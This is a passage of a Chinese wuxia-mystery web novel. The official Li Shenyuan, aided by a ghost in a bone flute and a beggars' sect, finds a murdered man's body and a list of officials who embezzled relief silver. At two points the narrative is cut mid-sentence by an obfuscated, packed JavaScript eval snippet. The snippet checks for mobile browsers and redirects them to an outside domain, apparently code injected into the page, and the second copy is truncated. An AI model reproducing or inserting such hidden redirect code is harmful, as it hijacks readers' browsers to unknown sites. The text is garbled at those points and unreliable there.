他不敢多留,赶紧离开了。 自从他来了这楚苦县,怪事频出,先是死者对调,后是山上从骨头中长出的黑毛,现在还有人要刺杀他。刺客是针对他还是针对宁王的?宁王出城行踪并不隐蔽,他们在客栈前告别,若是有心人一定能看到。那么是针对他的,刺客应当是当地人,昨晚还没事,今天他上山回来就有人忍不住动手,山上果然有猫腻! 一开始他还借着月光往前走,不一会月光也被遮住了,他只得摸黑往前走。眼下他无处可去,正发愁,听到梆子在地上敲的声音。咚——咚——— 不对,不是梆子,是拐杖驻地的声音,应当是山上抢走他钱袋的人,他跟着声音走,走到了先前那间屋子前,声音就消失了。 是要他来这里借住? 不知那人在何处,李慎元凭空大喊一声,“多谢。” 他走进屋里,之前那根火烛已经燃尽了,另点了一根,火烛旁仍放了一碗清粥。 他饿坏了,也累坏了,喝下粥席地一躺便睡下了。 一夜无梦,睡到第二日午时才起,很久没睡过这样久一个好觉,他醒来觉得神清气爽。 桌上仍放了一碗清粥,李慎元此时思维跳跃,他不禁想,这粥,不会是用他的钱买的吧。抢这么多钱就为了喝粥? 这小孩和拄拐的奇怪黑影也不露面,但似乎对他也没有恶意,他们到底想告诉他的,应该就藏在在山上。 可凭他一个人,也不可能把山翻过来,越多人越好。可上哪去找这么多人呢? 去找沈炼他爹,从那日祭典来往沈家的人员,沈家在当地似乎是望族,如果能得到他的支持,自然更好。 说干就干,李慎元从草席上爬起来,叠好,就出门去了沈家,然后吃了个闭门羹。 “老爷病了,不见客。李大人,您有什么事改天再来吧。” 对方倒是笑意盈盈的,但是满脸都写着拒绝。 等李慎元走了之后,方才在门口拒绝李慎元的小厮关上门快步走到内宅一处屋子门口,敲了敲门,道:“老爷,他走了。” 门里传出声音:“找两个手脚利索点的,跟上看看他去哪儿了。” 李慎元离了沈府,在街上乱晃,不知怎么办好。 正想着,一个乞丐乞讨到他面前。 他赶忙往袖中一掏,意识到钱袋被抢了,又空着手出来了。 那乞丐上下打量他,一脸鄙夷之色,后啐了他一口。 “这么抠门,呸!迟早倒霉!” 已经倒了大霉的李慎元也不甚在意。 沈家看来是不愿意帮忙了,到哪里找这么多人呢?他左思右想想不出什么好点子,便躺在树荫下假寐。 这时傅寅雪从骨笛中出来。 李慎元有一天没听见他动静了,便问:“你怎么这么久没动静?我昨天四处被人追杀,没义气!” 傅寅雪道:“进了山气场很乱,我失去知觉了,刚刚才慢慢能听到声音。” 鬼魂依托天地间,往往比□□凡身感知更灵敏,看来山上确实有怪。 傅寅雪往后看,“刚听到有人骂你?” “啊,一个乞丐。” 傅寅雪看着走远的乞丐,“你要找人,人不是送上门了。” 傅寅雪问:“之前让你帮我保管的盒子,还在身上吗?” 李慎元点点头,“在啊。”说着从兜里掏了出来,这个盒子因为放在胸前,还好好的,没被抢走。 “打开吧。” “里面到底是什么东西?” 李慎元打开后,发现里面是一张叠好的纸,摊平了,上面写着两个大字汇票,蓝底饰以票号名汇川票号和八仙法器,其上扣了四五个章,记载了某某人,这应该是傅寅雪用的化名,在汇川票号存了白银千两。 傅寅雪道:“是汇票,去汇川票号取钱吧。” 李慎元激动地捧着手里的白纸黑字,轻飘飘的,却价值千两白银,他看了看傅寅雪,忍不住问:“做刺客这么赚钱?” 又想到了自己的俸禄,李慎元痛心疾首,深感自己入错行了。 “你拿去用吧,找人办事没钱怎么行?再说,我也用不着了。” “我给你打个欠条,到时候烧给你。” “不用了。” 李慎元走到汇川票号门口,突然感觉右手被什么扯了两下,他往右看,是那天抢他钱的虎头帽小孩,她今天没戴虎头帽,扎了两个辫子,原来是个小姑娘。 怕她故技重施,李慎元悄悄后退两步。 小姑娘道:“喂,那钱我会还你的。” 李慎元想,林子里那个黑影同她果然是一伙的。他道:“不用了,我现在有钱了。” “少啰嗦,那我也得还你。抢了人家钱不还,以后江湖上怎么传我啊!” 李慎元觉得好笑:“好吧。” 小姑娘故作玄虚地握拳抵住嘴,道:“不是今天!婆婆怎么都不肯把钱袋给我,我一拿她就生气。但是,我一定会还给你的!” 说着风风火火跑了,一下又没影了。 婆婆?那个奇怪又力大无穷把他从林子里带到废弃民居的黑影是个老人家吗? 票号认票不认人,李慎元顺利取出了一两银子,又买了针线将汇票缝在衣襟上。 走出票号时,他乐得合不拢嘴。 傅寅雪看着他好像在看什么珍禽,“取这么点钱就乐成这样。” 李慎元乐不可支,把一两银子抛上去又接住,“你不懂穷人乍富的乐趣。” 傅寅雪嗤笑一声:“乞丐捡了金子都不知道怎么花。” 李慎元不理会他的嘲笑,道:“这一两银子可以雇100个长工一整天。” 随后,李慎元将银子换成一枚一枚的铜钱,回到今天遇见乞丐的地方。 那乞丐原本躺着,见有人来赶紧坐了起来,抬头一见是他,又没好气地躺下了。直到听到碗里叮咚一声,一枚铜钱落在碗里,他又笑吟吟地坐起来了。 话出口也入耳许多,“祝您才高八斗,高中状元!将来当大官!” 李慎元道:“刚还说我会倒霉,现在我又能当大官了。” 乞丐道:“小的要是会算命也不在这混了,您大人有大量。” 李慎元丢了十文钱在碗里,钱在碗里叮叮当当地响,“问你个事。” 乞丐笑得褶子都出来了,“诶,您说。” “帮我找三十个人来。” “您找这么多人干嘛?” “上山挖地。” “啊?” “你别管那么多,帮我找人来,报酬少不了你的。”他举着手里好几串钱晃了晃。 “我不是不愿意帮您,只是这么大的人事调动不是我一个无袋弟子能决定的,您稍等一会。”说着就跑开了。 李慎元等了好一会,他回来了,还带了一个人。这人同样穿着破烂,却身形挺拔,走路带风,像是练家子。 他一开口声音洪亮,直截了当道:“我是本帮六袋弟子铁碗儿,是你要找人是吧?” 李慎元道:“是我。” “你找这么多人要做什么?” “我问这没别的意思,只是我们丐帮虽然穷但也还有骨气,偷鸡摸狗的事我们是不做的。” 看着他一脸正气,李慎元默默抬起头挺起胸,道:“是为民除害。” “为民除害?” “是,昨儿我上山踩了毒草中了毒,所以想挖掉,以免误伤了上山砍柴的人。” 一听这话,铁碗儿眉头都舒展了,“原来是这样,现在像你这样善良的年轻人不多了,你放心,这事儿我们不收钱也得做。” 说着回头跟那无袋弟子说:“赶紧去东市西市南市北市把一袋到三袋弟子都叫来。” 那乞丐得令就走了,一会儿,风风火火带回来一大群人。铁碗儿交代后,买了一些挖土的器具,买了一些干粮,一行人拿着锄头轰轰烈烈上了山。 六袋弟子号召力很强,不到半个时辰,众人就到了那片黑毛地。 李慎元有了前车之鉴,嘱咐大家先吞下解药,他轻车熟路一口闷了,众人看到黏糊糊的都面露难色。铁碗儿率先吞了下去,也咽得满脸褶子,众人见他吞了,一个接一个吞了下去。 一行人吃饱了饭,干起活来风风火火,年轻力壮的冲在前面,黑毛看着细,实则很有韧劲,砍不断它。大家只得继续往下挖看看跟在哪,不一会往下挖的洞就没了腰。 李慎元问铁碗儿,这山上是不是有一个奇怪的一个老婆婆。 “你见过那疯婆子?” 听铁碗儿这话,像是认识,李慎元问,“你知道她?” “疯了好多年了,不知道谁欠了她钱,一天到晚总是念叨着。看见别人的钱就抢,抢完就跑,跑得还快,大家也拿她没办法。” “她抢你钱了?” 李慎元点点头,“嗯。” “那你算吃了个哑巴亏了,她虽然疯疯癫癫的,力气却大。” “之前知县早上去买早点,一个老婆子也不知道哪里来的力气,冲上去就把那钱拿走跑了,知县身边跟了十来个汉子,硬是没一个追上她。” 李慎元听着,铁碗儿在说到疯婆婆抢知县钱的时候,语气似乎有点钦佩。 说着铁碗儿又叹了口气,“也是个可怜人呐。” “她过去身世不好吗?” “额是说知县可怜!”说到激动处,铁碗儿忍不住冒出乡音,李慎元听着像关中的口音,“她到处抢别人钱有啥可怜滴。那知县钱遭抢了,又撞了马,马一撒蹄子就跑,甩得那知县的马车四处撞,那马是宝马,跑得快,听说是南边一个大商人送的,知县可喜欢,还给取了个名叫赤兔,那马当时受了惊,一口气从城东跑到城西,也有他好受的,怪可怜滴。” 好像想到什么,铁碗儿又道:“我们有个小乞丐,叫武小宝,和她聊得来,要是找她说说,兴许有戏。” 李慎元问:“是一个戴虎头帽的丫头吗?” 铁碗儿有点诧异,“你见过她?” 李慎元道:“之前她跑来信誓旦旦说钱会还我。”虽然说话语气和拦路土匪打劫一样霸道。 “那就不用担心了,她是个好孩子,况且,我们丐帮向来说到做到。” “她不同你们一起住吗?” “她和那老婆子住在老房子那边。” 铁碗儿说,是一个大雪天,武小宝被人丢在老婆子的老房子外面,老婆子无儿无女就养了她。但老婆婆有疯病,不时发作,武小宝为了补贴家用,就加入了丐帮。 老房子,李慎元立刻想到了他醒来时待的那个废弃民居,破破烂烂的,家具一应不全,不像有人住的样子。 “当时额们还不同意,小娃娃,有家人,加入丐帮做啥嘛。她牛鼻子得很,上蹿下跳的,硬是把额们几个一袋弟子打得鼻青脸肿,说她能派上大用场的,当时舵主正好来了,一看就说这娃以后就有大出息,要收她做弟子。”一说起陈年八卦来,铁碗儿突然用起了方音,李慎元听着像是关中的口音。 李慎元问,“然后呢?” “她不同意,她说要给阿婆养老。” 李慎元笑了笑,原来还是位侠女。 “啊呀——” 突然,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526855|186335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个乞丐大叫一声。 “做啥嘛,年轻人做事没轻重,毛手毛脚的。” 李慎元和铁碗儿往前一站,往地下看去,一坑的尸骨。 为了稳住大家,铁碗儿喊了一声,“死人怕啥,都带好布巾。” 铁碗儿挠头不解,“这是挖了谁家祖坟了这。” 话多的小乞丐插嘴道:“谁家这么埋人呐,连个棺材板都没有。” “诶,之前我听说......你说会不会......” “别瞎说。” 乞丐们都往后退,只有李慎元往前走,他站在坑边往下看,下面的骨头都黑了,上面有一具身上还剩些布料,骨头还是白的,像是最近死去的。 突然,那骨头上像有什么东西晃了一下。 李慎元蹲下仔细看,原来是那布料边上缀着一个圆球,黑毛从缝隙里缠绕出来,质地像是银,银香囊! 他记得这种香囊是皇室金银作坊院制作,陛下曾赐给沈炼一个银香囊,赵锋一个金香囊,两人都宝贝得很,不可能随意丢弃。这么说,这是沈炼的尸骨。 他真的死了,为什么死在这? 李慎元感觉自己离真相近了一步,但不知什么时候才能从掺杂交错的线索中理出一条线来。 他站起身,对众乞丐道:“烦劳大家帮我把这具尸体运下山。” 铁碗儿眉头皱成一团,“额听说有人有奇怪的癖好,喜欢把别个的尸体捡回去大卸八块,你不是那怪人吧。” 李慎元道:“你误会了,这人我认识,不知何故曝尸荒野,得把尸体送还给家里人。” “你认识啊。” “嗯,是我一个认识的人。” “行,敬你是个有情有义的汉子,大家受累帮帮忙。” 铁碗儿招呼着几个人用捡了木棍,用布条缠上,做了一个朴素的担架,将尸体抬下了山。 下山路上,李慎元思索着,要拿到更多线索,还得下一剂猛药。 李慎元和铁碗儿商量了一下,和丐帮一行人呼天抢地把沈炼的尸体送去沈家,一路上引得不少人驻足。 “这些叫花子哭谁呢?” “你没瞧见那担架上的死人?” “丐帮帮主死了?” “不知道啊,没听说。” 沈府。 李慎元在门前大喊,“烦您通报一声,沈公子尸身李某送来了。” 守门家丁见担架上的尸骨脸色一变,连忙起身驱赶,“哪来的疯子在这胡说八道。” “烦请你通报一声,沈公子的尸身李某送来了!沈老爷子不来,李某就不走。” 说着分袍坐下,几个乞丐也跟在后面坐下。 过往行人见这一行人抬着一具白骨围成圈观望,指指点点起来。怕引起更多人好奇,家丁只好进去通报。 日头煎熬着大地,李慎元等了好一会,等来十几个家丁拿着家伙破门而出。 “这些人对死者不敬,把他们绑了,送到县衙去。” 铁碗儿道:“人好心给你送回来,这咋还翻脸了?” 李慎元侧身问铁碗儿:“咱们打得过吗?” 铁碗儿坚定道:“无冤无仇的人我们不打,再说他们人多。” “跑!”丢下一句逃命的话,李慎元拔腿就跑。 一行人一路跑到城隍庙甩开了人才敢歇下。李慎元看着担架上的尸体,老子不认儿子,看来里头猫腻多得很。 “你到底怎么回事?”到这儿,饶是铁碗儿心眼子再直也意识到不对劲了。 李慎元思索片刻,道:“铁兄弟,现在还不是时候,待时机成熟李某一定尽数相告。” “你既不说,我也不能让兄弟们跟着你受罪,告辞了。” 这城隍庙的后面似乎有一条密道,不确定外面是否还有人跟着,这些乞丐在铁碗儿指挥下一个接一个从密道里离开了,铁碗儿走最后,断尾。关上密道门前,他告诉李慎元打开密道的机关,让他若有难可以从这里逃走,但是他们不同他一起走了。 李慎元赶忙道谢。 乞丐们走后庙里安静极了,李慎元坐在蒲团上,沈炼的尸体被乞丐们安置在一边。 李慎元跟沈炼其实也只有一面之交,他同沈府管家说的并非谎话,沈炼确实曾帮他解围,不过后来二人再没交集,没想到再见面,是这副光景。 沈炼究竟是个什么样的人,从他这一路的线索来看,他似乎是指示傅寅雪刺杀赵锋的主谋,可在李慎元印象里,他待人和气,别人拖他办事总是能帮则帮,不少朝臣对他评价颇高。他是有礼君子,相比起来,赵锋的行事作风更像是白脸奸臣。如今二人死了之后都一样,一堆枯骨,想到这李慎元不禁感伤起来。 不过他没感伤太久,勾起食指敲了敲骨笛。 “你还好吗?”傅寅雪今天一天都没动静,好像只要一去那座山,他就蔫了。是因为沈炼,他知道沈炼死在山上吗? “我找到沈炼的尸体了,就在那座山上。” “你能听到我说话吗?” “我以为找到沈炼一切就迎刃而解了,现在却越来越乱了。” 他自言自语没趣,又栽头等着,一直等到晚上,后面却没人追上来。 恍惚间,傅寅雪坐在他对面,寒光一闪,他持剑冲他心门刺来。 二人离得太近,李慎元躲闪不及,只得往后倒去。 头着地重重磕了一响,他猛地睁开眼,才意识到那是梦。 怎么会做这样的梦? 不等他想明白,几个黑衣人从天而降,亮着明晃晃的剑,齐刷刷向他刺来。他闪躲不及,衣袖被挑破,留下一道血印。 看来有人终于耐不住性子了。 黑衣人各个出招稳准狠,不给李慎元留契机,是奔着要他命来的,看来沈家是不打算要他活着离开这里。 李慎元深知以自己的武功对上这么多高手是绝没有活路的,他师父也很清楚,于是总嘱咐他,打不过就跑,并赠他暗器,以争取时间。此时他拿出那保命暗器,对着黑衣人,黄色粉末从尾端喷出,黑衣人闻到一股异味,就一个接一个倒地不起了。 他打开暗器格子,里面的黄色粉末已经不剩什么了,他暗自庆幸还好沈家低估了他,来的人不多,不然他这点黄鼠粉还不够用的。 黄鼠粉奇臭无比,且上不得台面,因此他下山时师父千叮咛万嘱咐,打不过也千万别提师父名讳。 他捂住口鼻,待那股能熏得人三魂出走的异味散去,才走近查看。 黑布下的脸,有些眼熟,似乎是他在沈家见过的几个家丁。 8. 赵敛 李二是给沈府送菜的菜户,这天一早,天将将亮,他同往常一样从家里出发,推了一车新鲜菜往沈府去,按照以往,他把菜推进后厨,结清钱就走,拿了这钱,他便吃酒去。今天远远望见沈府大门口有几个鬼影晃来晃去,他心一紧,该不是遇到什么不该看的东西了。 他壮着胆往前走,车吱呀吱呀压在地上的声音也刺耳起来,离门口越近,他的心像跳到嗓子眼了。 “地藏王菩萨,灶王爷,观世音菩萨”,李二平时从不拜佛求仙,他自有自己的一套说法,据他说五脏六腑就是神,哪有拜别人不拜自己的理,因着每每拿了钱,便去酒肆吃肉吃酒,如今鬼到近处死到临头的危急存亡之时,也由不得他不信了,“我李二平时没做过什么坏事啊,菩萨保佑,灶王爷保佑。” 他躬着腰躲在菜后面,到门口脚下生了根似的,不再往前走了,好一会,同后厨约定的时间要到了,他悄悄往门那边瞧,倒吸一口气,原来不是什么鬼影,是几个穿着黑衣的人倒吊在门口。 再仔细一瞧,都是熟人。 “沈大哥,沈四哥,沈七哥,老哥,怎么是你们啊,这一早是在......练功?” “练什么功,快放我们下来。” 原来这几人正是昨日攻击李慎元的刺客,被李慎元用黄鼠粉反制住,趁几人昏迷不醒连夜绑到了沈府大门口。眼下天亮了,街上行人也多了。都看着这几个人不明所以,窃窃私语。 见三人被李二解了绳子,骂骂咧咧地进了门,远处窥探的李慎元才悄悄离开。 沈家要沈炼的尸体,又要杀他灭口,是害怕他把什么秘密带回京城呢。 他回到疯婆婆带他去的那间废弃民居,武小宝曾抢他的钱袋刻意将他引去黑毛地,想来这里找到他要的答案。 “婆婆,小宝,你们在吗?” 武小宝从门框上倒吊着,见是李慎元,拍拍手跳了下来,“是你呀,我说了那钱还得缓几天。” 李慎元笑道:“我不是来要钱的。” “那你来做什么?” “我要找一个答案。” “我想知道你为什么引我去山上,看到那片黑毛地。” “你认识沈炼吗?” 提到沈炼,武小宝情绪激动起来,“他是个大坏蛋!” “他做了什么坏事吗?” “他害死了很多人,还想杀了我和婆婆,还好老天有眼,让这个大坏蛋死得其所了。” 应该是想说罪有应得吧,李慎元默默想。 “你说,他害死了很多人,他害死了谁?” 门口传来细细簌簌的声音,有人靠近,李慎元警觉地将武小宝护在身后。 黑影一闪而过,“婆婆!”武小宝追了上去。 “欸”,李慎元本想追上去看看,谁知二人一会就没影了。 他左右无处可去,索性在这房子里等着,一直到太阳下山,没等来祖孙二人,倒是等来了铁碗儿。 “李兄弟,你在这,你瞧见武小宝和疯婆婆了?” “白天在这,后来跑了。” “糟了。” “怎么了,铁大哥?” “她们怕是被沈家抓走了。” 李慎元心里一惊,难怪他追不上,那时候就被沈家人抓走了吗,疯婆婆看起来轻功很好,怎么会中招。 “岂有此理,光天化日朗朗乾坤......” “李兄弟,别说这些套话了。” 李慎元道:“报官有用吗?” 铁碗儿面露难色,“现任知县出身赵家,赵家同沈家是一个鼻子出气,恐怕......” “那只有硬抢了。他们抓人无礼,我们抢人也无需有理。” 入夜,一行人来到沈府外。以免人多打草惊蛇,李慎元和铁碗儿进去救人,其他人在外面接应。 铁碗儿道:“李兄弟,我查东边,你查西边吧。” 李慎元目标明确往前走,道:“不必了,在西边柴房。” 铁碗儿惊讶道:“这么快就打探到了。” 李慎元手在骨笛上碰了碰,继续往前走。 铁碗儿问:“一路上都没人,李兄弟,你之前查探过这里?” “嗯。” 避开耳目,两人很快就来到柴房。疯婆婆和武小宝果然被绑在这里,被布条捂着嘴,看见来人,武小宝着急的发出声音。 李慎元摘掉堵住嘴的布条,又给她解绑。 嘴刚重获自由,武小宝着急喊道:“你们快走,老坏蛋抓我们是为了抓你!” 李慎元安抚道:“别担心,我来了他就不会伤害你们了。” 沈父从阴影里走出来,四周站满了拿着武器的黑衣蒙面人,道:“这些人夜闯民宅,欲行不轨,把他们都杀了。” 武小宝急得大喊:“都跟你说了他很丧心病狂!” 李慎元将武小宝护在身后,道:“沈仁礼,朝廷命官,你说杀就杀,你眼里还有没有王法。” 沈仁礼笑道:“当然有,强盗入夜闯入沈府,李大人为救人一马当先与强盗奋战,不敌,身亡。”说着一挥手示意身后黑衣蒙面人。 铁碗儿拿着打狗棒冲在前面,回头冲李慎元喊了句,“带他们走!” 武小宝推开挡在身前的李慎元,“我们才不会丢下你一个人在这里逞英雄!” 随即拿出一个弹弓,掏出几个石子,照着黑衣人的眼睛打去。 疯婆婆靠灵活的轻功迅速夺走身后敌人手里的武器,塞了一把给李慎元。 李慎元并没有系统学过剑术,大敌当前,他只得使出浑身解数胡乱劈砍起来,毕竟没有根基,被对方抓住契机在身上划了几刀。疯婆婆出剑也毫无章法,但胜在力气大,靠劲道硬生生逼退了眼前几人。 沈仁礼似乎铁了心要几人今夜葬身此地,黑衣人击退一波又来一波,喊杀声此起彼伏。 一个乡绅,哪来的钱养这么多死士。 敌众我寡,几人渐渐竭力,一黑衣人趁机从李慎元右侧偷袭,疯婆婆身形迅速绕到右侧阻挡一击。两人换了方位,仍以防御姿态背靠背站着。 李慎元眼前都模糊了,他感觉自己只要松开劲就能一睡不醒,突然他感觉背上的力量变轻了。 “婆婆!”身后传来武小宝的声音。 待他回头看,疯婆婆捂住腹部,手已被鲜血染红了。 李慎元也已是强弩之末,他的脸上,身上,没一处好肉。他还想再挡住越来越近的黑衣人,身体却不听使唤往下掉。 这时一团黑影从骨笛中溢出,顺着腰腹攀上来,李慎元顿感心脏一寒,全身血都僵住了,动弹不得,然后失去了知觉,但他仍直愣愣站着。 黑衣人打算给他最后一击,齐齐举剑冲上来。 悬在空中正要往下刺,李慎元突然抬头,眼里好像闪着血光,众人一惊,动作一滞。就让李慎元抢占了先机,身手灵活得抢过一把剑,将天上这几个黑衣人一一扫下。 黑衣人痛得抱着肚子在地上打滚呻吟。 趁此时围堵小,李慎元背着武小宝,一手揽住疯婆婆一手抓着铁碗儿,运劲攀上墙头,一跃离开了。正遇到在门外接应的众乞丐,一行人扶着伤员离开了。 年长一点的乞丐说先去城隍庙,去密道里躲一躲,躲过今夜再说。 众人点燃了火把挤在密道里,地上丢了一堆红色的布,疯婆婆口中一直涌出鲜血,像永远擦不干净似的。 小乞丐们急得团团转,“这可怎么办?要是铁大哥没晕过去还能给她输送真气。” “铁大哥昏迷了,咱们还在,咱们人多力量大,能帮一点是一点。” “对,你说得没错,咱们也学过些皮毛。” 众乞丐将疯婆婆推起,一个接一个坐在身后,运劲给疯婆婆输送真气。片刻后,疯婆婆确实没再吐血了。 小乞丐们一个个失力靠在墙边。 刚刚李慎元并非回光返照,将死之时打通了任督二脉,而是傅寅雪趁李慎元意识模糊之时侵入他身体,将众人从沈家带走,此时傅寅雪感觉这具身体呼吸越来越重,估计也撑不了多久了。他封住李慎元膻中、气海二穴,防止元气溃散,自己也回到骨笛中修养。 一夜过后,李慎元醒来,每动一下都觉得身体很痛,他只好维持原状,眼前漆黑一片,什么也看不清楚。他这是在哪,是被沈仁礼抓起来了吗? “你醒了?” 好像是武小宝的声音,眼前的黑暗慢慢散开了一点,他这才看清不是武小宝在说话,是一个小乞丐点燃了火折子。 “他们呢?”李慎元问。 小乞丐左右看看,“都在这呢,我们在城隍庙的密道里,你们受了重伤,不知道沈家会不会追上来,大家决定暂时歇在这里。” 小乞丐点燃墙上的火把,暖光照亮了密道,李慎元这才看清大家横七竖八地躺在地上,武小宝气色不错,还在打呼,昨夜应该是太累了。疯婆婆的伤也简单包扎过,嘴边还有干涸的血。铁碗儿则看起来脸很黑,李慎元探他鼻息,已经没气了。他心一惊,小乞丐道:“你别担心,这是铁大哥练的功夫,身体受伤时,会暂时封闭气口让真气在体内运行排出浊气。” 李慎元问:“他要这样多久?” “看伤重程度,有时好几天都不醒,一直躺着,之后又没事人似的了。” 听他这么说,李慎元将心安在肚里。他摩梭着骨笛,虽然他之前失去了意识,但估摸着应当是傅寅雪附身救了大家。 “谢谢。”他小声说。 “这几天,你们就先待在这里养伤,我们兄弟出去找吃的。”留下这句话,乞丐们就从另一头离开了密道。 李慎元醒了没多久,武小宝也醒了。听了后来发生的事,当即耍了一套乱拳,说要和沈老头大战五百回合,打得他变成猪头,然后卖去城西的屠宰场,拿卖的钱买一只烧鸡吃。李慎元听她越说越没谱,笑得停不下来。 将养了几日,乞丐一开始只带清粥,李慎元吃得没甚滋味,他也知道重伤未愈不能吃太油腻,不过他倒真觉得烧鸡的事可行起来。 洞中无日月,只能靠乞丐们告知,有时乞丐们会带来药来,李慎元用过后,身心确实舒畅许多。 待到第四天,铁碗儿醒来了。 铁碗儿醒来后为疯婆婆输真气,夸小乞丐们做的不错,小乞丐们挠挠头不好意思地笑笑。 第十天,疯婆婆气色好多了。 李慎元在她身旁坐下。 “之前,小宝想跟我说的,您似乎有顾忌,现在你能告诉我为什么吗?” 疯婆婆看了眼铁碗儿。 李慎元也望向铁碗儿,“铁大哥冒死同我去救人,同我也算生死之交了。”又往左看了一眼疯婆婆,“而且,你们二位之前就认识吧。” 疯婆婆和铁碗儿原本恹恹的,听到这话警觉起来。 李慎元摩梭着碗边,“在废弃房子里,婆婆曾留了一碗粥给我,同你们这几日拿来的,味道一样。” 良久,没有人说话。 最后还是铁碗儿打破了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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纸张已经泛黄,按信上时间记载,永泰二十年已是十八年前了。多年前的诉状,但保存很好,看得出保存的人用了心。 赵锋和沈炼,二人在朝堂上互不顺眼,竟还有这一段渊源。那么沈炼杀了赵锋是想遮掩这段往事? 李慎元问:“杜景行是什么人?” 铁碗儿道:“是我表兄弟,他从小就爱念书,被贵人赏识,进了王府,成了幕僚。后来县里遭灾,他被派来监督赈灾银发放,结果出了这种事,他冒死想把消息送出去,还是没能逃掉。” “你想怎么做,李大人?”铁碗儿眼神像鹰一样锐利,盯着李慎元。 李慎元举起状纸,道:“我想做十八年前杜景行没有做到的事情。” 疯婆婆在地上写下两个字——名单。 铁碗儿道:“没下赈灾银不止赵锋一人,他胃口没这么大,他背后是整个赵家。” 李慎元道:“所以,有一份分赃的名单。” “对!在赵家手里。” “本来沈炼死了,我们想着人死账消,但是你来了,抓着沈炼的事情不放。我们想着,也许是个机会。” 李慎元问:“县里最有钱的赵家人是谁?” “赵敛。” “知县赵敛?” “这赵敛原本是个混混,后来侄子在京里发迹了,倒是常常接济他们家,他拿钱捐了官,就这么阔起来了。” “那我们就去会一会这位赵敛。” 铁碗儿是个急性子,说着已经站起来准备走。 李慎元却盘腿坐下。 “不去吗?” “等。” “等什么?” “天黑。” 又是一炷香燃尽了,小乞丐们拆开红色的布换上了新的线香。 铁碗儿等不及了,“还要等到什么时候?” 李慎元漫不经心敲了敲骨笛,在铁碗儿和小乞丐们看不见的地方,小傅从骨笛中出来,李慎元在他身上施下符咒。 “铁兄弟,人多恐怕太打眼,今晚我一人前去。” “这怎么行!” “你重伤刚愈,也正需要休息,就听我的吧。” 说完,李慎元傅寅雪一阵风似的轻飘飘往赵府去。 李慎元这边,傅寅雪已经进入赵府,潜入赵敛梦境中。 李慎元久等不来,担心出了什么变故,便引出自己一缕神识,进入赵敛梦境。 梦里一片红光,傅寅雪正举剑刺向赵敛。他赶紧念了一道清心咒,将傅寅雪带走。 神识归位时,李慎元意识到在梦里傅寅雪是真的想杀了赵敛,问道:“你怎么了?” 傅寅雪依旧是淡淡的,“没什么。” “你看到什么了?为什么...” 傅寅雪却不愿他多问,“在衙门牌匾后面,名单。” 李慎元来到县衙外,翻身上了屋顶,过了天井,直往牌匾去,揭开牌匾,背后藏了一个盒子。打开盒子,里面是一个册子,翻开来看,里面记了十来个名字,全是赵姓,沈姓。 回到城隍庙密道,铁碗儿看到名单,虽然他心里早有数,真的看到还是忍不住破口大骂起来。 “这吃不饱的畜生,丧了良心了。” “李兄弟,接下来怎么办?” “上京,告状。” “好,走陆路,我们丐帮拼死护送你上京。” 此时赵府,赵敛从噩梦里醒来,恍惚间看见多年前被自己下手杀死的傅大昭来索命了。定了定神,意识到傅大昭早死在牢里尸骨都化成灰了。可怎么也睡不着了,心里不安,起身往县衙去。 小厮劝道:“老爷,这么晚了,有什么要紧事明天再办吧。” 赵敛气得一个巴掌扇过去,“畜生,你知道什么!坏了我的事,都别活了。” 待他气喘吁吁赶到县衙,揭下牌匾,后面空空如也,他失力滑下瘫坐在地上。 “完了,全完了。” 9. 昭雪 赵敛发现名单不见了,左思右想,只有沈家总是同他们赵家不对付,气冲冲去沈家问罪。沈仁礼一听,便知是李慎元作怪。当即派死士沿着出城进京的路找,务必在进京前拦截,死生不论。 等了三日,赵敛风雨无阻天天来沈家探消息。待到第四日,死士带人回了。 沈仁礼掀开麻袋,还没等看清楚,一口痰吐在他脸上,左右赶紧拿帕子擦了,再睁眼看,眼前哪里有李慎元,死士带回来的分明是铁碗儿带着一个乞丐乔装打扮的冒牌货! “中计了!”沈仁礼脸色铁青。 铁碗儿倒是一脸坦然,“哈哈哈哈哈哈快把爷爷抓起来,好孙子!” 六百里外的海面上,驶着一艘船,正日夜兼程赶往京城。 李慎元站在舷廊处,望着茫茫海面,思绪飘到前几日看到的画面。 当时铁碗儿提议走陆路快,李慎元突然眼前一黑,晕过去了。再睁眼,自己站在一个小院子里,仰着头望着门口一个胡子拉碴的男人,手里拿着一根糖葫芦。男人侧着脸,似乎在同门外的人说话。 “大昭,回来啦。” “欸,六婶,昨天你托我给孙子上户籍的事,明天有空,明儿来衙门一趟吧。” “爹!”李慎元听到自己叫了一声,然后一跳一跳地朝男人跑去。 男人转过身来,一张笑脸,抱起他就拿胡子往他脸上招呼。李慎元感觉自己被胡子包围了,赶紧推开。 “臭儿子!” “糖葫芦。” 李慎元推脱了几下,手里抢走糖葫芦就跑了。一边吃糖葫芦李慎元意识到,自己好像变成一个小孩了。 一个妇人掀开布帘走出来,叉腰气势汹汹的,“傅大昭,你又惯他,马上晚饭了。” 这个男人就是傅大昭,这是傅大昭的回忆?是受状纸影响被拉近奇怪的场域了? 叫大昭的男人陪笑道:“就吃一根,他跟孩子们一跑,一会又饿了。” 画面一转,看着眼前越来越近的水面,李慎元意识到他自己正往水里跳,他下意识憋住呼吸,可到了水下他并没有呛水。在水下,他看到水草飘荡着,鸭爪子倒着飘,他同几个小孩乐呵呵地倒提着鸭子回家了。 “娘——”他看到自己扑到妇人身上。 妇人用手轻轻推开他,话里责备面上却带着笑,“你是水猴子吗傅寅雪,每次都弄这么脏回家。” 傅寅雪!这是傅寅雪的回忆!!傅寅雪是傅大昭的儿子!!! 男人从背后箍住他的肩膀,把他转走,道:“儿子,快去洗澡,你娘做了牛肉臊子面,可香了。” 然后,他和妇人,叫大昭的男人坐在一起,吃牛肉臊子面。 “稻粱菽,麦黍稷。此六谷,人所食......” 